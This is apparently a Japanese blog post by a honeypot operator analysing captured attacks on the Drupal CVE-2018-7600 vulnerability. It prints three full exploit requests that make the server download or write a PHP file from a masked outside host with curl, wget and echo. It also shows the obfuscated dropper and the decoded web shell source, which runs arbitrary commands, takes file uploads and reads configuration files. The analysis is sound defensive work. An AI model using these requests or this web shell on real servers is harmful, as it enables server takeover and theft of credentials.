Drupal の脆弱性(CVE-2018-7600)の攻撃例
先日ご紹介したDrupalの脆弱性を狙ったアタックの具体的な攻撃例をご紹介します。
今回僕のハニーポットに来ていた攻撃のアクセスは3種類あり、どれもphpファイルを配置するような動きを行う処理でした。
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Accept-Encoding: gzip,deflate Connection: Keep-Alive Content-Length: 183 Content-Type: application/x-www-form-urlencoded Host: XXX.XXX.XXX.XXX:80 User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_151) form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=curl+-o+t6nv.php+http%3A%2F%2FXXX.XXX.XXX.XXX%2Fwp-stats.txt
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Accept-Encoding: gzip,deflate Connection: Keep-Alive Content-Length: 183 Content-Type: application/x-www-form-urlencoded Host: XXX.XXX.XXX.XXX:80 User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_151) form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget+-O+t6nv.php+http%3A%2F%2FXXX.XXX.XXX.XXX%2Fwp-stats.txt
POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Accept-Encoding: gzip,deflate Connection: Keep-Alive Content-Length: 2055 Content-Type: application/x-www-form-urlencoded Host: XXX.XXX.XXX.XXX:80 User-Agent: Apache-HttpClient/4.5.5 (Java/1.8.0_151) form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=echo+%22PD9waHAgZXZhbChnemluZmxhdGUoc3RyX3JvdDEzKGJhc2U2NF9kZWNvZGUoJ3JVbDZZdHMyRVA2OEFQa1BESFJBTmszTGRvY0JVaElaQzI5c0RiYlltWEx2aXhNSXNsSGJlU1JFSUttNFhwRC8zanRGOGxpVGMzWkVJMEJ4M3ZQY1BmZWlvNW1VVDRhU0ZVOTNuaStheDYzVHd3TStKODBqcmhUVHpWTVkrRTVqT1J4Wm5VejBLYnBtWVZ1dFh4NE9EeHIzWEdRZGl6TFh4Q1BIUUhlczJBd2VrVEQ2MXg5YTZjZngrRHI4T0F6RzlCYk5QUCswZEI3NS8xbjhZQnhCVTVjV01CUEpHaEEwVnlLeWp2SUZBUWFMTmJuSjBUWHlLY0pITkhUWlpNSUErZ2ZQYkxnQWxRNGVocGxWbUxQUnZ3RzJ5RkJRc2JpVVhLL0JmV1BlOThPcmJzOEhCOE4rbjU0K0hoNndSN0VYUXdNQW1kQlpGbGx0RUdRcGxKNnQ4eWh3elZwVGp2MGZudmR0SXloR2xUTzcwMCtDazJLUlUvN1ZZK3p2a3A1SHZDcndTZWNUeEpzM1V5Q2ZOK3V1L2VtUHAwR2NpcHh1eDdCdVY1UXljN3N0WTRLTDBlWDFPT3hmL3UwUHpxOTh4N1FoYmxkbTRucEV2ZUhGNU1vZmpNUFJZemhwWVYzYVRCVjZuc2QyQ1VOOFNUd3JSZVlXeXdJYkpKbk4wTVo3V0t6RGxsc ・・・+%7C+base64+-d+%7C+tee+t6nv.php
phpファイルの中身はどんなものかというと 、こんな感じです。
<?php eval(gzinflate(str_rot13(base64_decode('rUl6Yts2EP68APkPDHRANk3LdocBUhIZC29sDbbYmXLvixMIslHbeSREIKm4XpD/3jtF8liTc3ZEI0Bx3vPcPfeio5mUT4aSFU93ni+ax63TwwM+J80jrhTTzVMY+E5jORxZnUz0KbpmYVutXx4ODxr3XGQdizLXxCPHQHes2AwekTD61x9a6cfx+Dr8OAzG9BbNPP+0dB75/1n8YBxBU5cWMBPJGhA0VyKyjvIFAQaLNbnJ0TXyKcJHNHTZZMIA+gfPbLgAlQ4ehplVmLPRvwG2yFBQsbiUXK/BfWPe98Orbs8HB8N+n54+Hh6wR7EXQwMAmdBZFlltEGQplJ6t8yhwzVpTjv0fnvdtIyhGlTO700+Ck2KRU/7VY+zvkp5HvCrwSecTxJs3UyCfN+uu/emPp0Gcipxux7BuV5Qyc7stY4KL0eX1OOxf/u0Pzq98x7Qhbldm4npEveHF5MofjMPRYzhpYV3aTBV6nsd2CUN8STwrReYWywIbJJnN0MZ7WKzDllrgJ2nv5EjdO7HdA0O8FISe.・・・')))); ?>
Base 64でエンコードされていて、ROT13変換で暗号化処理されていて、deflate圧縮されていて、最後にevalで実行処理がされていますが、どんな処理が動いているのか、これだとわかりません。。。
そこで、evalの箇所をechoに変更して実行してみると、こんなphpの処理が実行されていることが判明しました。
error_reporting(0); if (!isset($_SESSION['bajak'])) { $visitcount = 0; $web = $_SERVER["HTTP_HOST"]; $inj = $_SERVER["REQUEST_URI"]; $body = "ada yang inject \n$web$inj"; $safem0de = @ini_get('safe_mode'); if (!$safem0de) {$security= "SAFE_MODE = OFF";} else {$security= "SAFE_MODE = ON";}; $serper=gethostbyname($_SERVER['SERVER_ADDR']); $injektor = gethostbyname($_SERVER['REMOTE_ADDR']); $_SESSION['bajak'] = 0; } else {$_SESSION['bajak']++;}; if(isset($_GET['clone'])){ $source = $_SERVER['SCRIPT_FILENAME']; $desti =$_SERVER['DOCUMENT_ROOT']."/wp-includes/wp-simple.php"; rename($source, $desti); } $safem0de = @ini_get('safe_mode'); if (!$safem0de) {$security= "SAFE_MODE : OFF";} else {$security= "SAFE_MODE : ON";} echo "<title>UnKnown - Simple Shell</title><br>"; echo "<font size=2 color=#888888><b>".$security."</b><br>"; $cur_user="(".get_current_user().")"; echo "<font size=2 color=#888888><b>User : uid=".getmyuid().$cur_user." gid=".getmygid().$cur_user."</b><br>"; echo "<font size=2 color=#888888><b>Uname : ".php_uname()."</b><br>"; function pwd() { $cwd = getcwd(); if($u=strrpos($cwd,'/')){ if($u!=strlen($cwd)-1){ return $cwd.'/';} else{return $cwd;}; } elseif($u=strrpos($cwd,'\\')){ if($u!=strlen($cwd)-1){ return $cwd.'\\';} else{return $cwd;}; }; } echo '<form method="POST" action=""><font size=2 color=#888888><b>Command</b><br><input type="text" name="cmd"><input type="Submit" name="command" value="cok"></form>'; echo '<form enctype="multipart/form-data" action method=POST><font size=2 color=#888888><b>Upload File</b></font><br><input type=hidden name="submit"><input type=file name="userfile" size=28><br><font size=2 color=#888888><b>New name: </b></font><input type=text size=15 name="newname" class=ta><input type=submit class="bt" value="Upload"></form>'; if(isset($_POST['submit'])){ $uploaddir = pwd(); if(!$name=$_POST['newname']){$name = $_FILES['userfile']['name'];}; move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name); if(move_uploaded_file($_FILES['userfile']['tmp_name'], $uploaddir.$name)){ echo "Upload Failed"; } else { echo "Upload Success to ".$uploaddir.$name." :D "; } } if(isset($_POST['command'])){ $cmd = $_POST['cmd']; echo "<pre><font size=3 color=#000000>".shell_exec($cmd)."</font></pre>"; } elseif(isset($_GET['cmd'])){ $comd = $_GET['cmd']; echo "<pre><font size=3 color=#000000>".shell_exec($comd)."</font></pre>"; } elseif(isset($_GET['rf'])){ $rf = file_get_contents("../../configuration.php"); echo $rf; } else { echo "<pre><font size=3 color=#000000>".shell_exec('ls -la')."</font></pre>";
これを見るとなんと任意のファイルをアップロードして、任意のコマンドを実行できるPHPファイルであることが分かります。 PHPが動いているサーバを乗っ取るようなファイルであることが分かります。
このファイルが実行されていると思われる外部のサーバを見つけたので、画面サンプルとして紹介します。
攻撃者は、この画面を利用してファイルをアップロードしたり、コマンドを実行したりするものと思われます。
怖いですねー。。。